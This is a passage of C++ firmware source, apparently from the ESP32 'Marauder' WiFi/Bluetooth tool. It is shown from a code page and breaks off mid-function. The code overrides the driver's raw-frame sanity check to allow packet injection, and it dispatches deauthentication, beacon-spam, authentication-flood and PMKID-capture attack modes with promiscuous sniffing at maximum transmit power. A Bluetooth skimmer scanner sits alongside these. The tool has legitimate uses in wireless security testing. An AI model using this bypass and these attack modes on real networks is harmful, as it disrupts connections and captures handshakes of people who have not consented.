WiFiScan.cpp 102 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  238. RunEapolScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_AP)
  240. RunBeaconScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  242. RunAPScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  244. RunAPScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_PWN)
  246. RunPwnScan(scan_mode, color);
  247. else if (scan_mode == WIFI_SCAN_DEAUTH)
  248. RunDeauthScan(scan_mode, color);
  249. else if (scan_mode == WIFI_PACKET_MONITOR) {
  250. #ifdef HAS_SCREEN
  251. RunPacketMonitor(scan_mode, color);
  252. #endif
  253. }
  254. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  255. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  256. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  257. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  258. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  259. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  260. else if (scan_mode == WIFI_ATTACK_AUTH)
  261. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  262. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  263. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  264. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  265. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  266. else if (scan_mode == BT_SCAN_ALL) {
  267. #ifdef HAS_BT
  268. RunBluetoothScan(scan_mode, color);
  269. #endif
  270. }
  271. else if (scan_mode == BT_SCAN_SKIMMERS) {
  272. #ifdef HAS_BT
  273. RunBluetoothScan(scan_mode, color);
  274. #endif
  275. }
  276. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  277. RunEspressifScan(scan_mode, color);
  278. else if (scan_mode == LV_JOIN_WIFI) {
  279. #ifdef HAS_SCREEN
  280. RunLvJoinWiFi(scan_mode, color);
  281. #endif
  282. }
  283. else if (scan_mode == LV_ADD_SSID) {
  284. #ifdef HAS_SCREEN
  285. RunLvJoinWiFi(scan_mode, color);
  286. #endif
  287. }
  288. WiFiScan::currentScanMode = scan_mode;
  289. }
  290. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  291. // Common wifi attack configurations
  292. #ifdef HAS_SCREEN
  293. display_obj.TOP_FIXED_AREA_2 = 48;
  294. display_obj.tteBar = true;
  295. display_obj.print_delay_1 = 15;
  296. display_obj.print_delay_2 = 10;
  297. display_obj.initScrollValues(true);
  298. display_obj.tft.setTextWrap(false);
  299. display_obj.tft.setTextColor(TFT_BLACK, color);
  300. display_obj.tft.fillRect(0,16,240,16, color);
  301. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  302. display_obj.touchToExit();
  303. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  304. #endif
  305. packets_sent = 0;
  306. WiFi.mode(WIFI_AP_STA);
  307. //esp_wifi_init(&cfg);
  308. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  309. //esp_wifi_set_mode(WIFI_AP_STA);
  310. //esp_wifi_start();
  311. //esp_wifi_set_promiscuous_filter(NULL);
  312. esp_wifi_set_promiscuous(true);
  313. esp_wifi_set_max_tx_power(82);
  314. this->wifi_initialized = true;
  315. #ifdef MARAUDER_FLIPPER
  316. flipper_led.attackLED();
  317. #endif
  318. initTime = millis();
  319. }
  320. bool WiFiScan::shutdownWiFi() {
  321. if (this->wifi_initialized) {
  322. esp_wifi_set_promiscuous(false);
  323. WiFi.disconnect();
  324. WiFi.mode(WIFI_OFF);
  325. esp_wifi_set_mode(WIFI_MODE_NULL);
  326. esp_wifi_stop();
  327. esp_wifi_deinit();
  328. #ifdef MARAUDER_FLIPPER
  329. flipper_led.offLED();
  330. #endif
  331. this->wifi_initialized = false;
  332. return true;
  333. }
  334. else {
  335. return false;
  336. }
  337. }
  338. bool WiFiScan::shutdownBLE() {
  339. #ifdef HAS_BT
  340. if (this->ble_initialized) {
  341. pBLEScan->stop();
  342. pBLEScan->clearResults();
  343. BLEDevice::deinit();
  344. #ifdef MARAUDER_FLIPPER
  345. flipper_led.offLED();
  346. #endif
  347. this->ble_initialized = false;
  348. return true;
  349. }
  350. else {
  351. return false;
  352. }
  353. #endif
  354. return true;
  355. }
  356. // Function to stop all wifi scans
  357. void WiFiScan::StopScan(uint8_t scan_mode)
  358. {
  359. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  360. (currentScanMode == WIFI_SCAN_AP) ||
  361. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  362. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  363. (currentScanMode == WIFI_SCAN_PWN) ||
  364. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  365. (currentScanMode == WIFI_SCAN_EAPOL) ||
  366. (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
  367. (currentScanMode == WIFI_SCAN_ALL) ||
  368. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  369. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  370. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  371. (currentScanMode == WIFI_ATTACK_AUTH) ||
  372. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  373. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  374. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  375. (currentScanMode == WIFI_PACKET_MONITOR) ||
  376. (currentScanMode == LV_JOIN_WIFI))
  377. {
  378. this->shutdownWiFi();
  379. }
  380. else if ((currentScanMode == BT_SCAN_ALL) ||
  381. (currentScanMode == BT_SCAN_SKIMMERS))
  382. {
  383. #ifdef HAS_BT
  384. this->shutdownBLE();
  385. #endif
  386. }
  387. #ifdef HAS_SCREEN
  388. display_obj.display_buffer->clear();
  389. #ifdef SCREEN_BUFFER
  390. display_obj.screen_buffer->clear();
  391. #endif
  392. //Serial.print("display_buffer->size(): ");
  393. Serial.println(display_obj.display_buffer->size());
  394. display_obj.tteBar = false;
  395. #endif
  396. }
  397. String WiFiScan::getStaMAC()
  398. {
  399. char *buf;
  400. uint8_t mac[6];
  401. char macAddrChr[18] = {0};
  402. esp_wifi_init(&cfg);
  403. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  404. esp_wifi_set_mode(WIFI_MODE_NULL);
  405. esp_wifi_start();
  406. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  407. this->wifi_initialized = true;
  408. sprintf(macAddrChr,
  409. "%02X:%02X:%02X:%02X:%02X:%02X",
  410. mac[0],
  411. mac[1],
  412. mac[2],
  413. mac[3],
  414. mac[4],
  415. mac[5]);
  416. this->shutdownWiFi();
  417. return String(macAddrChr);
  418. }
  419. String WiFiScan::getApMAC()
  420. {
  421. char *buf;
  422. uint8_t mac[6];
  423. char macAddrChr[18] = {0};
  424. esp_wifi_init(&cfg);
  425. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  426. esp_wifi_set_mode(WIFI_MODE_NULL);
  427. esp_wifi_start();
  428. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  429. this->wifi_initialized = true;
  430. sprintf(macAddrChr,
  431. "%02X:%02X:%02X:%02X:%02X:%02X",
  432. mac[0],
  433. mac[1],
  434. mac[2],
  435. mac[3],
  436. mac[4],
  437. mac[5]);
  438. this->shutdownWiFi();
  439. return String(macAddrChr);
  440. }
  441. String WiFiScan::freeRAM()
  442. {
  443. char s[150];
  444. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  445. this->free_ram = String(esp_get_free_heap_size());
  446. return String(s);
  447. }
  448. // Function to start running a beacon scan
  449. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  450. {
  451. sd_obj.openCapture("ap");
  452. #ifdef MARAUDER_FLIPPER
  453. flipper_led.sniffLED();
  454. #endif
  455. Serial.println(text_table4[9] + (String)access_points->size());
  456. #ifdef HAS_SCREEN
  457. display_obj.TOP_FIXED_AREA_2 = 48;
  458. display_obj.tteBar = true;
  459. display_obj.print_delay_1 = 15;
  460. display_obj.print_delay_2 = 10;
  461. display_obj.initScrollValues(true);
  462. display_obj.tft.setTextWrap(false);
  463. display_obj.tft.setTextColor(TFT_WHITE, color);
  464. #ifndef MARAUDER_MINI
  465. display_obj.tft.fillRect(0,16,240,16, color);
  466. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  467. display_obj.touchToExit();
  468. #endif
  469. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  470. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  471. #endif
  472. esp_wifi_init(&cfg);
  473. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  474. esp_wifi_set_mode(WIFI_MODE_NULL);
  475. esp_wifi_start();
  476. esp_wifi_set_promiscuous(true);
  477. esp_wifi_set_promiscuous_filter(&filt);
  478. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  479. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  480. //else
  481. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  482. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  483. this->wifi_initialized = true;
  484. initTime = millis();
  485. }
  486. #ifdef HAS_SCREEN
  487. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  488. display_obj.tft.init();
  489. display_obj.tft.setRotation(1);
  490. #ifdef TFT_SHIELD
  491. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  492. Serial.println("Using TFT Shield");
  493. #else if defined(TFT_DIY)
  494. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  495. Serial.println("Using TFT DIY");
  496. #endif
  497. display_obj.tft.setTouch(calData);
  498. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  499. lv_disp_load_scr(scr);
  500. }
  501. #endif
  502. void WiFiScan::RunClearAPs() {
  503. #ifdef HAS_SCREEN
  504. display_obj.tft.setTextWrap(false);
  505. display_obj.tft.setFreeFont(NULL);
  506. display_obj.tft.setCursor(0, 100);
  507. display_obj.tft.setTextSize(1);
  508. display_obj.tft.setTextColor(TFT_CYAN);
  509. display_obj.tft.println(F(text_table4[9]));
  510. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  511. #else
  512. this->clearAPs();
  513. #endif
  514. }
  515. void WiFiScan::RunClearSSIDs() {
  516. #ifdef HAS_SCREEN
  517. display_obj.tft.setTextWrap(false);
  518. display_obj.tft.setFreeFont(NULL);
  519. display_obj.tft.setCursor(0, 100);
  520. display_obj.tft.setTextSize(1);
  521. display_obj.tft.setTextColor(TFT_CYAN);
  522. display_obj.tft.println(F(text_table4[11]));
  523. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  524. #else
  525. this->clearSSIDs();
  526. #endif
  527. }
  528. void WiFiScan::RunGenerateSSIDs(int count) {
  529. #ifdef HAS_SCREEN
  530. display_obj.tft.setTextWrap(false);
  531. display_obj.tft.setFreeFont(NULL);
  532. display_obj.tft.setCursor(0, 100);
  533. display_obj.tft.setTextSize(1);
  534. display_obj.tft.setTextColor(TFT_CYAN);
  535. display_obj.tft.println(F(text_table4[13]));
  536. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  537. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  538. #else
  539. this->generateSSIDs(count);
  540. #endif
  541. }
  542. void WiFiScan::RunShutdownWiFi() {
  543. #ifdef HAS_SCREEN
  544. display_obj.tft.setTextWrap(false);
  545. display_obj.tft.setFreeFont(NULL);
  546. display_obj.tft.setCursor(0, 100);
  547. display_obj.tft.setTextSize(1);
  548. display_obj.tft.setTextColor(TFT_CYAN);
  549. display_obj.tft.print(F(text_table4[16]));
  550. #endif
  551. if (this->wifi_initialized) {
  552. this->shutdownWiFi();
  553. #ifdef HAS_SCREEN
  554. display_obj.tft.setTextColor(TFT_GREEN);
  555. display_obj.tft.println(F("OK"));
  556. #endif
  557. }
  558. else {
  559. #ifdef HAS_SCREEN
  560. display_obj.tft.setTextColor(TFT_RED);
  561. display_obj.tft.println(F(text17));
  562. display_obj.tft.println(F(text_table4[17]));
  563. #endif
  564. }
  565. }
  566. void WiFiScan::RunShutdownBLE() {
  567. #ifdef HAS_SCREEN
  568. display_obj.tft.setTextWrap(false);
  569. display_obj.tft.setFreeFont(NULL);
  570. display_obj.tft.setCursor(0, 100);
  571. display_obj.tft.setTextSize(1);
  572. display_obj.tft.setTextColor(TFT_CYAN);
  573. display_obj.tft.print(F(text_table4[18]));
  574. #endif
  575. if (this->ble_initialized) {
  576. this->shutdownBLE();
  577. #ifdef HAS_SCREEN
  578. display_obj.tft.setTextColor(TFT_GREEN);
  579. display_obj.tft.println(F("OK"));
  580. #endif
  581. }
  582. else {
  583. #ifdef HAS_SCREEN
  584. display_obj.tft.setTextColor(TFT_RED);
  585. display_obj.tft.println(F(text17));
  586. display_obj.tft.println(F(text_table4[19]));
  587. #endif
  588. }
  589. }
  590. void WiFiScan::RunInfo()
  591. {
  592. String sta_mac = this->getStaMAC();
  593. String ap_mac = this->getApMAC();
  594. String free_ram = this->freeRAM();
  595. //Serial.print("STA MAC: ");
  596. //Serial.println(sta_mac);
  597. //Serial.print("AP MAC: ");
  598. //Serial.println(ap_mac);
  599. Serial.println(free_ram);
  600. #ifdef HAS_SCREEN
  601. display_obj.tft.setTextWrap(false);
  602. display_obj.tft.setFreeFont(NULL);
